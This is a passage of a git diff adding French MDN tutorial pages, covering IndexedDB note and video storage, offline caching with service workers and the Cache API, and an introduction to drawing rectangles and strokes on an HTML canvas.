+        listItem.textContent = 'No notes stored.';
+        list.appendChild(listItem);
+      }
+      // Il n'y a plus d'entrées dans le curseur
+      console.log('Notes all displayed');
+    }
+  };
+}
+ +

Encore une fois, pas à pas :

+ +
    +
  1. +

    D'abord on vide le contenu de l'élément {{htmlelement("ul")}}, pour pouvoir le remplir avec le contenu mis à jour. Si on ne le faisait pas, on obtiendrait une énorme liste de contenus dupliqués à chaque mise à jour.

    +
    2. +
  2. +

    Ensuite, on récupère une référence à l'object store notes en utilisant {{domxref("IDBDatabase.transaction()")}} et {{domxref("IDBTransaction.objectStore()")}} comme nous l'avons fait dans addData(), mais en chaînant ces deux instructions en une seule ligne.

    +
    3. +
  3. +

    L'étape suivante consiste à utiliser la méthode {{domxref("IDBObjectStore.openCursor()")}} pour ouvrir un curseur — une construction qui peut être utilisée pour itérer sur les entrées d'un object store. On chaîne un gestionnaire d'événement onsuccess à la fin de cette opération pour rendre le code plus concis — dès que le curseur est récupéré, le gestionnaire est exécuté.

    +
    4. +
  4. +

    On récupère une référence au curseur lui-même (un objet {{domxref("IDBCursor")}}) avec cursor = e.target.result.

    +
    5. +
  5. +

    Ensuite, on vérifie si le curseur contient une entrée de l'object store (if(cursor){ ... }) — si c'est le cas, on crée des éléments du DOM, les remplit avec les données de l'entrée, et les insère dans la page (à l'intérieur de l'élément <ul>). On inclut un bouton de suppression, qui, quand il est cliqué, supprime l'entrée en cours en appelant la fonction deleteItem() — que nous allons voir dans la section suivante.

    +
    6. +
  6. +

    À la fin du bloc if, on utilise la méthode {{domxref("IDBCursor.continue()")}} pour avancer le curseur à la prochaine entrée dans l'object store et réexécuter le bloc. S'il reste une autre entrée sur laquelle itérer, elle sera à son tour insérée dans la page, continue() sera exécuté à nouveau, et ainsi de suite.

    +
    7. +
  7. +

    Quand il n'y a plus d'enregistrements à parcourir, le curseur retourne undefined, et le bloc else sera donc exécuté à la place. Ce bloc vérifie si des notes ont été insérées dans le <ul> — si ce n'est pas le cas, on insère un message indiquant qu'il n'existe aucune note.

    +
    8. +
+ +

Supprimer une note

+ +

Come nous avons vu ci-dessus, lorsque le bouton supprimer est cliqué, la note correspondante est supprimée. Cette action est réalisée par la fonction deleteItem(), que l'on définit ainsi :

+ +
// Définit la fonction deleteItem()
+function deleteItem(e) {
+  // Récupère l'id de l'entrée que l'on veut supprimer
+  // On doit le convertir en nombre avant d'essayer de récupérer l'entrée correspondante dans IDB
+  // les clés sont sensibles à la casse
+  let noteId = Number(e.target.parentNode.getAttribute('data-note-id'));
+
+  // Ouvre une transaction et supprime la note ayant l'id récupéré ci-dessus
+  let transaction = db.transaction(['notes'], 'readwrite');
+  let objectStore = transaction.objectStore('notes');
+  let request = objectStore.delete(noteId);
+
+  // Indique à l'utilisateur que l'entrée a été supprimée
+  transaction.oncomplete = function() {
+    // supprime l'élément parent du bouton, le li
+    // pour qu'il ne soit plus affiché
+    e.target.parentNode.parentNode.removeChild(e.target.parentNode);
+    console.log('Note ' + noteId + ' deleted.');
+
+    // Si la liste est vide, affiche un message qui l'indique
+    if(!list.firstChild) {
+      let listItem = document.createElement('li');
+      listItem.textContent = 'No notes stored.';
+      list.appendChild(listItem);
+    }
+  };
+}
+ +
    +
  • On récupère l'ID de l'entrée à supprimer avec Number(e.target.parentNode.getAttribute('data-note-id')) — souvenez-vous qu'on a mis l'ID de l'entrée dans l'attribut data-note-id du <li> au moment de l'afficher. On fait passer l'id à travers l'objet global Number(), puisqu'on a actuellement une chaîne de caractères et on a besoin d'un nombre pour qu'il soit reconnu par la base de données.
    • +
  • On récupère ensuite une référence à l'object store de la même manière que précédemment, et on utilise la méthode {{domxref("IDBObjectStore.delete()")}} pour supprimer l'entrée de la base de données, en lui passant l'ID.
    • +
  • Quand la transaction est terminée, on supprime le <li> du DOM, et on vérifie si le <ul> est maintenant vide. Si c'est le cas, on insère un message pour l'indiquer.
    • +
+ +

Et voilà ! L'exemple devrait maintenant fonctionner.

+ +
+

Note : Si vous rencontrez des difficultés, n'hésitez pas à consulter notre exemple en direct (ou voir le code source).

+
+ +

Stocker des données complexes avec IndexedDB

+ +

Comme nous l'avons mentionné auparavant, IndexedDB peut être utilisé pour stocker plus que de simples chaînes de caractères. On peut stocker à peu près tout ce qu'on veux, y compris des objets complexes tels que des vidéos ou des images. Et ce n'est pas plus difficilte à réaliser qu'avec n'importe quel autre type de données.

+ +

Pour vous montrer comment le faire, nous avons écrit un autre exemple appelé IndexedDB video store (le voir en direct). Lorsque vous exécutez l'exemple pour la première fois, il télécharge des vidéos à partir du réseau, les stocke dans une base de données IndexedDB, puis affiche les vidéos dans des éléments {{htmlelement("video")}} de l'interface utilisateur. Les prochaines fois que vous l'exécutez, il récupère les vidéos de la base de données — cela rend les chargements suivants beaucoup plus rapides et moins gourmands en bande passante.

+ +

Passons en revue les parties les plus intéressantes de l'exemple. Nous ne regarderons pas tout — une grande partie est similaire à l'exemple précédent, et le code est bien commenté.

+ +
    +
  1. +

    Pour cet exemple, nous avons stocké le nom des vidéos à récupérer dans un tableau d'objets :

    + + 
    const videos = [
+  { 'name' : 'crystal' },
+  { 'name' : 'elf' },
+  { 'name' : 'frog' },
+  { 'name' : 'monster' },
+  { 'name' : 'pig' },
+  { 'name' : 'rabbit' }
+];
    +
    2. +
  2. +

    Pour commencer, une fois que la base de données a été ouverte, on exécute la fonction init(). Elle boucle sur les noms des vidéos et essaie de charger l'entrée correspondante dans la base de données videos.

    + +

    On peut facilement vérifier si une entrée a été trouvée en vérifiant si request.result est évalué à true — si l'entrée n'est pas présente, la valeur retournée est undefined.

    + +

    Les vidéos présentes en base de données (stockées sous formes de blobs), sont directement passées à la fonction displayVideo() pour les afficher dans l'interface utilisateur. Pour les vidéos non présentes, on appelle la fonction fetchVideoFromNetwork(), qui récupère la vidéo à partir du réseau.

    + + 
    function init() {
+  // Boucle sur les vidéos une par une
+  for(let i = 0; i < videos.length; i++) {
+    // Ouvre une transaction, récupère l'object store, et récupère chaque video par son nom
+    let objectStore = db.transaction('videos').objectStore('videos');
+    let request = objectStore.get(videos[i].name);
+    request.onsuccess = function() {
+      // Si l'entrée existe dans la BDD (le résultat n'est pas undefined)
+      if(request.result) {
+        // Affiche la vidéo en utilisant displayVideo()
+        console.log('taking videos from IDB');
+        displayVideo(request.result.mp4, request.result.webm, request.result.name);
+      } else {
+        // Récupère la vidéo à partir du réseau
+        fetchVideoFromNetwork(videos[i]);
+      }
+    };
+  }
+}
    +
    3. +
  3. +

    Le bout de code qui suit est extrait de la fonction fetchVideoFromNetwork() — ici, on récupère les versions MP4 et WebM de la vidéos en utilisant deux requêtes {{domxref("fetch()", "WindowOrWorkerGlobalScope.fetch()")}} distinctes. On utilise ensuite la méthode {{domxref("blob()", "Body.blob()")}} pour extraire la réponse sous forme de blob, ce qui nous donne une représentation objet de la vidéo que l'on peut stocker et afficher plus tard.

    + +

    Il reste cependant un problème — ces deux requêtes sont asynchrones et ont veut afficher/stocker la vidéo uniquement lorsque les deux promesses sont résolues. Heureusement, il existe une méthode native qui gère ce problème — {{jsxref("Promise.all()")}}. Elle prend un argument — la liste de toutes les promesses qui doivent être attendues — et retourne elle-même une promesse. Quand toutes les promesses sont résolues, alors la promesse de la méthode all() est résolue, avec pour valeur un tableau contenant toutes les valeurs individuelles retournées par les promesses.

    + +

    À l'intérieur du bloc all(), vous pouvez voir qu'on appelle la fonction displayVideo(), comme on l'a fait précédemment, pour afficher les vidéos dans l'interface utilisateur, puis la fonction storeVideo() pour stocker ces vidéos dans la base de données.

    + + 
    let mp4Blob = fetch('videos/' + video.name + '.mp4').then(response =>
+  response.blob()
+);
+let webmBlob = fetch('videos/' + video.name + '.webm').then(response =>
+  response.blob()
+);
+
+// Exécuter le bloc de code suivant lorsque les deux promesses sont résolues
+Promise.all([mp4Blob, webmBlob]).then(function(values) {
+  // Afficher la vidéo récupérée à partir du réseau avec displayVideo()
+  displayVideo(values[0], values[1], video.name);
+  // La stocker dans IDB avec storeVideo()
+  storeVideo(values[0], values[1], video.name);
+});
    +
    4. +
  4. +

    Regardons storeVideo() en premier. Cela ressemble beaucoup à ce qu'on a fait dans l'exemple précédent pour ajouter des données à la base de données — on ouvre une transaction en lecture/écriture et on récupère l'object store de videos, on crée un objet à ajouter à la base de données et on l'ajoute avec {{domxref("IDBObjectStore.add()")}}.

    + + 
    function storeVideo(mp4Blob, webmBlob, name) {
+  // Ouvre une transaction, récupère object store
+  let objectStore = db.transaction(['videos'], 'readwrite').objectStore('videos');
+  // Crée une entrée à ajouter à IDB
+  let record = {
+    mp4 : mp4Blob,
+    webm : webmBlob,
+    name : name
+  }
+
+  // Ajoute l'entrée à IDB avec add()
+  let request = objectStore.add(record);
+
+  ...
+
+};
    +
    5. +
  5. +

    Enfin, displayVideo() crée les éléments DOM nécessaires pour insérer la vidéo dans l'interface utilisateur, puis les ajoute à la page. Les parties les plus intéressantes sont copiées ci-dessous — pour afficher notre blob vidéo dans un élément <video>, on doit créer un objet URL (URL interne qui pointe vers un blob en mémoire) en utilisant la méthode {{domxref("URL.createObjectURL()")}}. Une fois que c'est fait, on peut assigner l'URL comme valeur d'attribut src de l'élément {{htmlelement("source")}}, et ça marche.

    + + 
    function displayVideo(mp4Blob, webmBlob, title) {
+  // Crée l'objet URL à partir du blob
+  let mp4URL = URL.createObjectURL(mp4Blob);
+  let webmURL = URL.createObjectURL(webmBlob);
+
+  ...
+
+  let video = document.createElement('video');
+  video.controls = true;
+  let source1 = document.createElement('source');
+  source1.src = mp4URL;
+  source1.type = 'video/mp4';
+  let source2 = document.createElement('source');
+  source2.src = webmURL;
+  source2.type = 'video/webm';
+
+  ...
+}
    +
    6. +
+ +

Stockage hors-ligne de ressources

+ +

L'exemple ci-dessus montre comment créer une application qui stocke des ressources volumineuses dans une base de données IndexedDB, évitant ainsi de devoir les télécharger plus d'une fois. C'est déjà une grande amélioration pour l'expérience utilisateur, mais il manque encore une chose: les fichiers HTML, CSS, et JavaScript doivent encore être téléchargés à chaque fois que le site est accédé, ce qui veut dire qu'il ne fonctionnera pas lorsqu'il n'y a pas de connexion réseau

+ +

+ +

C'est là qu'interviennet les Service workers et l'API étroitement liée, Cache.

+ +

Service Worker / Cache

+ +

Un service worker est un fichier JavaScript qui, pour faire simple, est associé à une origine (un site web à un domaine donné) lorsque le navigateur y accède. Une fois associé, il peut contrôler les pages disponibles pour cette origine. Il le fait en s'installant entre la page chargée et le réseau, interceptant les requêtes réseau visant cette origine.

+ +

Quand le service worker intercepte une requête, il peut faire tout ce que vous voulez (voir quelques idées de cas d'utilisation), mais l'exemple le plus classique est de sauvegarder les réponses réseau hors-ligne pour fournir ces réponses aux requêtes qui suivent au lieu d'utiliser le réseau. Ainsi, cela vous permet de faire fonctionner un site web complètement hors-ligne.

+ +

L'API Cache est un autre mécanisme de stockage côté client, il a été conçu pour enregistrer les réponses HTTP et fonctionne donc très bien en synergie avec les service workers.

+ +
+

Note : Les Service workers et Cache sont pris en charge par la plupart des navigateurs modernes aujourd'hui. Au moment de la rédaction de cet article, Safari était encore occupé à l'implémenter, mais il devrait bientôt être disponible.

+
+ +

Un exemple service worker

+ +

Voyons un exemple, pour vous donner une idée de ce à quoi cela pourrait ressembler. Nous avons crée une autre version de l'exemple video store vu précédemment. Cela fonctionne de manière identique, mais enregistre également le HTML, CSS, et JavaScript dans l'API Cache via un service worker, permettant à l'exemple de marcher hors ligne!

+ +

Voir IndexedDB video store avec service worker en direct, ou voir le code source.

+ +

Enregistrer le service worker

+ +

La première chose à noter est qu'il  a un peu plus de code placé dans le fichier JavaScript principal (voir index.js):

+ +
// Enregistre un service worker pour contrôler le site hors-ligne
+if('serviceWorker' in navigator) {
+  navigator.serviceWorker
+           .register('/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js')
+           .then(function() { console.log('Service Worker Registered'); });
+}
+ +
    +
  • On effectue d'abord un test de détection de fonctionnalité pour vérifier si l'objet serviceWorker existe dans l'objet {{domxref("Navigator")}}. Si c'est le cas, alors on sait qu'au moins les fonctionnalités de base des service workers sont prises en charge.
    • +
  • On utilise la méthode {{domxref("ServiceWorkerContainer.register()")}} afin d'enregistrer le service worker sw.js pour l'origine où il se situe, ainsi il pourra contrôler les pages qui sont dans le même répertoire que lui, ou dans un sous-répertoire.
    • +
  • Lorsque la promesse est résolue, c'est que le service worker est enregistré.
    • +
+ +
+

Note : Le chemin du fichier sw.js est relatif à l'origine du site, et non au fichier JavaScript qui l'appelle.
+ Le service worker est sur https://mdn.github.io/learning-area/.../sw.js. L'origine est https://mdn.github.io. Le chemin donné doit donc être /learning-area/.../sw.js.
+ Si vous vouliez héberger cet exemple sur votre propre serveur, vous devriez changer le chemin en conséquence. C'est plutôt inhabituel, mais cela doit fonctionner de cette façon pour des raisons de sécurité.

+
+ +

Installer le service worker

+ +

Quand une page sous le contrôle du service worker est appelée (par exemple lorsque l'exemple est rechargé), alors le service worker est installé par rapport à cette page et il peut commencer à la contrôler. Quand cela arrive, un événement install est déclenché sur le service worker; vous pouvez écrire du code dans le service worker pour qu'il réponde à cette installation.

+ +

Prenons pour exemple le fichier sw.js (le service worker) :

+ +
self.addEventListener('install', function(e) {
+ e.waitUntil(
+   caches.open('video-store').then(function(cache) {
+     return cache.addAll([
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.html',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js',
+       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/style.css'
+     ]);
+   })
+ );
+});
+ +
    +
  1. +

    Le gestionnaire d'événément install est enregistré sur self. Le mot-clé self est un moyen de faire référence au service worker de la portée globale à partir de son fichier.

    +
    2. +
  2. +

    À l'intérieur du gestionnaire d'installation, on utilise la méthode {{domxref("ExtendableEvent.waitUntil()")}}, disponible sur l'objet événement, pour signaler que le navigateur ne doit pas terminer l'installation du service worker avant que la promesse qu'il contient ne soit résolue avec succès.

    +
    3. +
  3. +

    Ici, on voit l'API Cache en action: on utilise la méthode {{domxref("CacheStorage.open()")}} pour ouvrir un nouvel objet cache dans lequel les réponses seront stockées (similaire à un object store IndexedDB). Cette promesse se résout avec un objet {{domxref("Cache")}} représentant le cache du video-store.

    +
    4. +
  4. +

    On utilise la méthode {{domxref("Cache.addAll()")}} pour récupérer une série de ressources et ajouter leur réponse au cache.

    +
    5. +
+ +

C'est tout pour l'instant, l'installation est terminée.

+ +

Répondre aux futures requêtes

+ +

Avec le service worker enregistré et installé pour notre page HTML, et les ressources pertinentes ajoutées au cache, on est presque prêts. Il n'y a plus qu'une chose à faire: écrire du code pour répondre aux prochaines requêtes réseau.

+ +

C'est ce que fait le second bloc de code dans sw.js :

+ +
self.addEventListener('fetch', function(e) {
+  console.log(e.request.url);
+  e.respondWith(
+    caches.match(e.request).then(function(response) {
+      return response || fetch(e.request);
+    })
+  );
+});
+ +
    +
  1. +

    On ajoute un deuxième gestionnaire d'événement au service worker, qui exécute une fonction quand l'événement fetch est déclenché. Cela arrive quand le navigateur requête une ressource dans le même répertoire que le service worker (ou sous-répertoire).

    +
    2. +
  2. +

    À l'intérieur de cette fonction, on affiche l'URL de la ressource demandée dans la console, et on utilise la méthode {{domxref("FetchEvent.respondWith()")}} pour retourner une réponse personnalisée à la requête.

    +
    3. +
  3. +

    Pour construire la réponse, on utilise d'abord {{domxref("CacheStorage.match()")}} afin de vérifier si la requête est en cache (qu'une requête correspond à l'URL demandée est en cache).

    +
    4. +
  4. +

    Si elle est trouvée, la promesse se résout avec la réponse correspondante; sinon, avec undefined. Dans ce cas, on récupère la réponse à partir du réseau, en utilisant fetch(), et on retourne le résultat.

    +
    5. +
+ +

C'est tout pour notre service worker. Il y a tout un tas de choses que vous pouvez faire avec — pour plus de détails, consultez le service worker cookbook. Et merci à Paul Kinlan pour son article Adding a Service Worker and Offline into your Web App, qui a inspiré cet exemple.

+ +

Tester l'exemple hors-ligne

+ +

Pour tester notre exemple de service worker, rechargez d'abord la page pour vous assurer qu'il est bien installé. Une fois que c'est fait, vous pouvez soit:

+ +
    +
  • Débrancher votre réseau ou éteindre votre Wifi.
    • +
  • Si vous utilisez Firefox: Sélectionner Fichier > Travailler hors-connexion.
    • +
  • Si vous utilisez Chrome: Aller dans les DevTols, puis choisir Application > Service Workers, et cocher la case à cocher Offline.
    • +
+ +

Si vous actualisez votre page d'exemple, vous devriez toujours la voir se charger normalemment. Tout est stocké hors connexion — les ressources de la page dans Cache et les vidéos dans une base de données IndexedDB.

+ +

Sommaire

+ +

C'est tout pour l'instant. Nous espérons que vous avez trouvé notre récapitulatif des technologies de stockage côté client utile.

+ +

Voir aussi

+ + + +

{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.html b/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.html new file mode 100644 index 0000000000..ce68c6620b --- /dev/null +++ b/files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.html @@ -0,0 +1,922 @@ +--- +title: Dessiner des éléments graphiques +slug: Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics +tags: + - API + - Apprendre + - Articles + - Canvas + - Codage + - Débutant + - Graphismes + - JavaScript + - WebGL +translation_of: Learn/JavaScript/Client-side_web_APIs/Drawing_graphics +--- +
{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}
+ +

Le navigateur contient des outils de programmation graphique très puissants, du langage SVG (Scalable Vector Graphics), aux APIs pour dessiner sur les éléments HTML {{htmlelement("canvas")}}, (voir API Canvas et WebGL). Cet article fournit une introduction à canvas et introduit d'autres ressources pour vous permettre d'en apprendre plus.

+ + + + + + + + + + + + +
Prérequis:Bases de JavaScript (voir premiers pas, les briques JavaScript, introduction aux objets), les notions de bases des APIs côté client
Objectif:Apprendre les bases pour dessiner sur des éléments <canvas> en utilisant JavaScript.
+ +

Éléments graphiques sur le Web

+ +

Comme nous en avons parlé dans notre module HTML Multimédia et Intégration, le web était à l'origine uniquement du texte, ce qui était très ennuyeux. Les images ont donc été introduites — d'abord via l'élément {{htmlelement("img")}} et plus tard via les propriétés CSS comme {{cssxref("background-image")}}, et SVG.

+ +

Ce n'était cependant toujours pas assez. Tandis qu'il était possible d'utiliser CSS et JavaScript pour animer (ou manipuler) les images vectorielles SVG — puisqu'elles sont définies par le balisage — il n'y avait aucun moyen de faire de même pour les images bitmap, et les outils disponibles étaient plutôt limités. Le Web n'avait toujours pas de moyen efficace de créer des animations de jeux, des scènes 3D, et autres dispositions couramment traitées par les langages de bas niveau tels que C++ ou Java.

+ +

La situation a commencé à s'améliorer quand les navigateurs ont commencé à prendre en charge l'élément {{htmlelement("canvas")}} et l' API Canvas associée — Apple l'a inventée vers 2004, et les autres navigateurs l'ont l'implémentée dans les années qui ont suivi. Comme vous le verrez dans cet article, canvas fournit de nombreux outils utiles à la création d'animation 2D, jeux, visualisations de données, et autres types d'application, particulièrement quand il est combiné à d'autres APIs que la plateforme web fournit.

+ +

L'exemple ci-dessous montre une simple animation de balles qui rebondissent en canvas 2D, que nous avons déjà vue dans notre module La construction d'objet en pratique:

+ +

{{EmbedGHLiveSample("learning-area/javascript/oojs/bouncing-balls/index-finished.html", '100%', 500)}}

+ +

Autour de 2006-2007, Mozilla a commencé à travailler sur une implémentation expérimentale de canvas 3D. C'est devenu WebGL, lequel a gagné en popularité parmi les fournisseurs de navigateur, et a été standardisé autour de 2009-2010. WebGL permet de créer de véritables graphiques 3D dans le navigateur web; l'exemple ci-dessous montre un simple cube WebGL qui tourne:

+ +

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}}

+ +

Cet article se concentrera principalement sur les canvas 2D, car le code WebGL brut est très complexe. Nous montrerons cependant comment utiliser une bibliothèque WebGL pour créer une scène 3D plus facilement, et vous pourrez  par la suite suivre le tutoriel WebGL, qui couvre le code WebGL brut.

+ +
+

Note: Canvas est très bien pris en charge parmi les différents navigateurs, à l'exception de IE 8 (et inférieur) pour les canvas 2D, et IE 11 (et inférieur) pour WebGL.

+
+ +

Apprentissage actif: Débuter avec un <canvas>

+ +

Si vous voulez créer une scène 2D ou 3D sur une page web, vous devez commencer avec un élément HTML {{htmlelement("canvas")}}. Cet élément est utilisé pour définir la zone de la page où l'image sera dessinée. C'est aussi simple que d'inclure l'élément dans la page:

+ +
<canvas width="320" height="240"></canvas>
+ +

Cela va créer un canvas sur la page d'une taille de 320 pixels par 240.

+ +

À l'intérieur des balises du canvas, vous pouvez mettre du contenu alternatif, qui est affiché si le navigateur de l'utilisateur ne prend pas en charge les canvas.

+ +
<canvas width="320" height="240">
+  <p>Votre navigateur ne prend pas en charge canvas. Boo hoo!</p>
+</canvas>
+ +

Bien sûr, le message ci-dessus est vraiment inutile! Dans un exemple réel, vous voudriez plutôt associer le contenu alternatif au contenu du canvas. Par exemple, si vous voulez afficher un graphique en temps réel des cours boursiers, le contenu alternatif pourrait être une image statique du dernier graphique, avec un texte indiquant quels sont les prix.

+ +

Crée et dimensionner notre canvas

+ +

Commençons par créer notre propre canvas, que nous utiliserons pour dessiner nos futures expériences.

+ +
    +
  1. +

    Premièrement, copiez localement notre fichier 0_canvas_start.html, et ouvez-le dans votre éditeur de texte.

    +
    2. +
  2. +

    Ajoutez le code suivant à l'intérieur, juste après la balise {{htmlelement("body")}} ouvrante:

    + + 
    <canvas class="myCanvas">
+  <p>Ajouter un contenu alternatif approprié ici.</p>
+</canvas>
    + +

    Nous avons ajouté un attribut class à l'élément <canvas> pour que ce soit plus facile à sélectionner dans le cas où nous aurions plusieurs canvas sur la page. Et nous avons supprimé les attributs width et height pour le moment (vous pouvez les remettre si vous le voulez mais nous les définirons en utilisant JavaScript dans une section plus bas). Les canvas sans hauteur et largeur explicites sont définits par défaut à 300 pixels par 150.

    +
    3. +
  3. +

    Maintenant, ajoutez les lignes suivantes à l'intérieur de l'élément {{htmlelement("script")}}:

    + + 
    var canvas = document.querySelector('.myCanvas');
+var width = canvas.width = window.innerWidth;
+var height = canvas.height = window.innerHeight;
    + +

    Ici, nous avons stocké une référence vers le canvas dans la variable canvas. Sur la deuxième ligne, nous affectons à la fois une nouvelle variable width et la propriété width du canvas à {{domxref("Window.innerWidth")}} (ce qui nous donne la largeur de la fenêtre). Sur la troisième ligne, nos affectons à la fois une nouvelle variable height et la propriété height du canvas à {{domxref("Window.innerHeight")}} (ce qui nous donne la hauteur de la fenêtre). Nous avons donc un canvas qui remplit toute la largeur et hauteur de la fenêtre!

    + +

    Vous avez également vu que nous avons chaîné les assignations ensemble avec plusieurs signes égal — ce qui est autorié en JavaScript, et c'est une bonne technique si vous voulez que plusieurs variables aient la même valeur. Nous avons gardé la hauteur et largeur du canvas facilement accessibles dans les variables width/height, ces valeurs seront utiles plus tard (par exemple, si vous voulez dessiner quelque chose exactement à mi-chemin de la largeur du canvas).

    +
    4. +
  4. +

    Si vous sauvegardez et chargez votre exemple dans le navigateur maintenant, vous ne verrez rien, ce qui est normal, mais vous verrez également des barres de défilement, ce qui est un problème pour nous. Cela se produit parce que l'élément {{htmlelement("body")}} a des {{cssxref("margin")}} qui, ajoutées à la taille du canvas, résulte en un document qui est plus large que la fenêtre. Pour se débarasser des barres de défilement, nous devons supprimer les {{cssxref("margin")}} et aussi définir {{cssxref("overflow")}} à hidden. Ajoutez ce qui suit à l'intérieur du {{htmlelement("head")}} du document:

    + + 
    <style>
+  body {
+    margin: 0;
+    overflow: hidden;
+  }
+</style>
    + +

    Les barres de défilement ne devraient plus être là.

    +
    5. +
+ +
+

Note: Vous devrez généralement définir la taille de l'image en utilisant les attributs HTML ou les propriétéss DOM, comme expliqué ci-dessus. Vous pourriez théoriquement utiliser CSS, le problème étant que le dimensionnement le canvas est alors effectué après que le contenu canvas n'ait été calculé, et comme toute autre image (puisque le canvas une fois affiché n'est plus qu'une simple image), elle peut devenir pixelisée/déformée.

+
+ +

Obtenir le contexte du canvas et configuration finale

+ +

Nous devons faire une dernière chose avant de considérer notre template finit. Pour dessiner sur le canvas, nous devons récupérer une référence à la zone de dessin, appelé un contexte. Pour ce faire, on utilise la méthode {{domxref("HTMLCanvasElement.getContext()")}}, qui, pour un usage basique ne prend qu'un seul paramètre, spécifiant quel type de contexte nous voulons récupérer.

+ +

En l'occurence, nous voulons un canvas 2D, alors ajoutez le JavaScript suivant à la suite des autres instructions à l'intérieur de l'élément <script>:

+ +
var ctx = canvas.getContext('2d');
+ +
+

Note: Vous pouvez choisir d'autres types de contexte comme webgl pour WebGL, webgl2 pour WebGL 2, etc., mais nous n'en aurons pas besoin dans cet article.

+
+ +

Voilà — notre canvas est maintenant préparé et prêt à être dessiné! La variable ctx contient désormais un objet {{domxref("CanvasRenderingContext2D")}}, et toutes les opérations de dessin sur le canvas impliqueront de manipuler cet objet.

+ +

Faisons une dernière chose avant de passer à autre chose. Nous allons colorier l'arrière-plan du canvas en noir, cela vous donnera un avant-goût de l'API canvas. Ajoutez les lignes suivantes au bas de votre JavaScript:

+ +
ctx.fillStyle = 'rgb(0, 0, 0)';
+ctx.fillRect(0, 0, width, height);
+ +

Ici nous définissons une couleur de remplissage en utilisant la propriété du canvas {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} (qui prend une valeur de couleur tout comme les propriétés CSS), puis nous dessinons un rectangle qui recouvre intégralement la surface du canvas avec la méthode {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} (les deux premiers paramètres sont les coordonnées du coin supérieur gauche du rectangle; les deux derniers sont la largeur et la hauteur du rectangle que vous voulez dessiner — on vous avait dit que ces variables width et height allaient être utiles)!

+ +

OK, notre template est prêt et il est temps de passer à autre chose.

+ +

Les bases du canvas 2D

+ +

Pour rappel, toutes les opération de dessin sont effectuées en manipulant un objet {{domxref("CanvasRenderingContext2D")}} (dans notre cas, ctx).

+ +

De nombreuses opérations doivent recevoir des coordonnées en entrée pour savoir où dessiner quelque chose — le coin supérieur gauche du canvas est le point (0, 0), l'axe horizontal (x) va de gauche à droite, et l'axe vertical (y) va de haut en bas.

+ +

+ +

Dessiner des formes est souvent fait en utilisant la forme rectangle, ou alors en traçant une ligne le long d'un certain chemin puis en remplissant la forme. Nous allons vous montrer ci-dessous comment faire ces deux choses.

+ +

Rectangles simples

+ +

Commençons avec quelques rectangles simples.

+ +
    +
  1. +

    Tout d'abord, faites une copie de votre template (ou copiez localement le fichier 1_canvas_template.html si vous n'avez pas suivit les étapes précédentes).

    +
    2. +
  2. +

    Ensuite, ajoutez les lignes suivantes au bas de votre JavaScript:

    + + 
    ctx.fillStyle = 'rgb(255, 0, 0)';
+ctx.fillRect(50, 50, 100, 150);
    + +

    Si vous sauvegardez votre code et rafraichissez la page, vous devriez voir qu'un rectangle rouge est apparu sur le canvas. Son coin supérieur gauche est à (50,50) pixels du coin supérieur gauche du canvas (comme définit par les deux premiers paramètres), il a une largeur de 100 pixels et une hauteur de 150 pixels (comme définit par les paramètres 3 et 4).

    +
    3. +
  3. +

    Ajoutons un autre rectangle dans le mix — un vert cette fois. Ajoutez ce qui suit au bas de votre JavaScript:

    + + 
    ctx.fillStyle = 'rgb(0, 255, 0)';
+ctx.fillRect(75, 75, 100, 100);
    + +

    Sauvegardez et rafraichissez, et vous verrez un nouveau rectangle. Cela soulève un point important: les opérations graphiques comme dessiner des rectangles, lignes, et autres, sont executées dans l'ordre dans lequel elle apparaissent dans le code. Pensez-y comme peindre un mur, chaque couche de peinture s'ajoute par dessus les anciennes et peuvent même mettre cacher ce qu'il y a en dessous. Vous ne pouvez rien y faire, il faut donc réfléchir soigneusement à l'ordre dans lequel vous allez dessiner les éléments graphiques.

    +
    4. +
  4. +

    Notez que vous pouvez dessiner des éléments graphiques semi-transparents en spécifiant une couleur semi-transparente, par exemple en utilisant rgba(). La valeur a définit ce qu'on appelle le "canal alpha", ou la quantité de transparence de la couleur. Plus la valeur de a est élevée, plus la couleur est opaque. Ajoutez ce qui suit à votre code:

    + + 
    ctx.fillStyle = 'rgba(255, 0, 255, 0.75)';
+ctx.fillRect(25, 100, 175, 50);
    +
    5. +
  5. +

    Maintenant essayez de dessiner plus de rectangles par vous-même; amusez-vous!

    +
    6. +
+ +

Traits et épaisseurs de ligne

+ +

Jusqu'à présent nous avons vu comment dessiner des rectangles pleins, mais on peut aussi ne dessiner que les contours (dit strokes - traits - en graphic design). Pour définir la couleur que vous voulez pour le contour, utilisez la propriété {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}. Pour dessiner le contour du rectangle, on appelle {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect")}}.

+ +
    +
  1. +

    Ajoutez ce qui suit au bas de votre JavaScript:

    + + 
    ctx.strokeStyle = 'rgb(255, 255, 255)';
+ctx.strokeRect(25, 25, 175, 200);
    +
    2. +
  2. +

    L'épaisseur de trait par défaut est de 1 pixel; vous pouvez ajuster la valeur de la propriété {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}} pour changer ça (prend un nombre spécifiant le nombre de pixels d'épaisseur de trait). Ajoutez la ligne suivante entre les deux lignes précédentes:

    + + 
    ctx.lineWidth = 5;
    + +

    Vous devriez maintenant voir que votre contour blanc est devenu beaucoup plus épais!

    +
    3. +
+ +

C'est tout pour le moment. À ce stade votre exemple devrait ressembler à ça:

+ +

